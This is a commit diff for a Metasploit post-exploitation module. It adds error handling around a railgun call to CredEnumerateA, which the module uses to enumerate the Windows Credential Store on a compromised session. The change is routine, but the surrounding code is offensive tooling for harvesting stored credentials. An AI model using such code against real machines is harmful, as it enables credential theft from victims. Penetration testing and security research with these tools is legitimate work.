Added some error checking to CredEnuerateA() railgun call
parent
ea32c313d3
commit
bc6a529388
|
@ -178,7 +178,17 @@ class MetasploitModule < Msf::Post
|
||||||
credentials = []
|
credentials = []
|
||||||
#call credenumerate to get the ptr needed
|
#call credenumerate to get the ptr needed
|
||||||
adv32 = session.railgun.advapi32
|
adv32 = session.railgun.advapi32
|
||||||
|
begin
|
||||||
ret = adv32.CredEnumerateA(nil,0,4,4)
|
ret = adv32.CredEnumerateA(nil,0,4,4)
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
print_error("This module requires WinXP or higher")
|
||||||
|
print_error("CredEnumerateA() failed: #{e.class} #{e}")
|
||||||
|
ret = nil
|
||||||
|
end
|
||||||
|
if ret.nil?
|
||||||
|
count = 0
|
||||||
|
arr_len = 0
|
||||||
|
else
|
||||||
p_to_arr = ret["Credentials"].unpack("V")
|
p_to_arr = ret["Credentials"].unpack("V")
|
||||||
if is_86
|
if is_86
|
||||||
count = ret["Count"]
|
count = ret["Count"]
|
||||||
|
@ -187,6 +197,7 @@ class MetasploitModule < Msf::Post
|
||||||
count = ret["Count"] & 0x00000000ffffffff
|
count = ret["Count"] & 0x00000000ffffffff
|
||||||
arr_len = count * 8
|
arr_len = count * 8
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#tell user what's going on
|
#tell user what's going on
|
||||||
print_status("#{count} credentials found in the Credential Store")
|
print_status("#{count} credentials found in the Credential Store")
|
||||||
|
|
Loading…
Reference in New Issue